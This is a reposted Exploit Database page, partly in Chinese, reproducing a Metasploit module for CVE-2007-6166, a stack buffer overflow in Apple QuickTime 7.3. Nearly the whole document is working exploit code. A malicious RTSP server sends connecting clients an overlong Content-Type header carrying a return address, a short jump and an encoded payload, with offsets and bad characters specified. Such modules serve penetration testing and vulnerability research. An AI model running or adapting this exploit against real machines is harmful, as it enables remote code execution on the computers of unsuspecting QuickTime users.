Apple QuickTime 7.3 – RTSP Response Header Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16424/

• ##
  # $Id: apple_quicktime_rtsp_response.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long
  				RTSP response to a client, an attacker may be able to execute arbitrary code.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-6166' ],
  					[ 'OSVDB', '40876' ],
  					[ 'BID', '26549' ],
  					[ 'URL', 'http://milw0rm.com/exploits/4648' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 700,
  					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
  					'MaxNops'=> 0,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Nov 23 2007',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		client.get_once
  
  		buffer =rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
  		buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)
  
  		strname = rand_text_alpha(rand(75) + 1)
  		date= Time.now
  		num = rand(1).to_s
  
  		header ="RTSP/1.0 200 OK\r\n"
  		header << "CSeq: 1\r\n"
  		header << "Date: #{date}\r\n"
  		header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"
  		header << "Content-Type: #{buffer}\r\n"
  		header << "Content-Length: #{strname.length}\r\n\r\n"
  
  		body ="v=#{num}\r\n"
  		body << "o=#{strname}\r\n"
  		body << "s=#{strname}\r\n"
  		body << "i=#{strname}\r\n"
  		body << "t=#{num}\r\n"
  		body << "a=tool:#{strname}\r\n"
  		body << "a=type:#{strname}\r\n"
  		body << "a=control:#{strname}\r\n"
  		body << "a=range:#{strname}\r\n"
  		body << "a=x-qt-text-nam:#{strname}\r\n"
  		body << "a=x-qt-text-inf:#{strname}\r\n"
  		body << "m=#{strname}\r\n"
  		body << "c=#{strname}\r\n"
  		body << "a=control:#{strname}\r\n"
  
  		sploit = header + body
  
  		print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
  
  		client.put(sploit)
  		handler(client)
  
  		service.close_client(client)
  	end
  
  end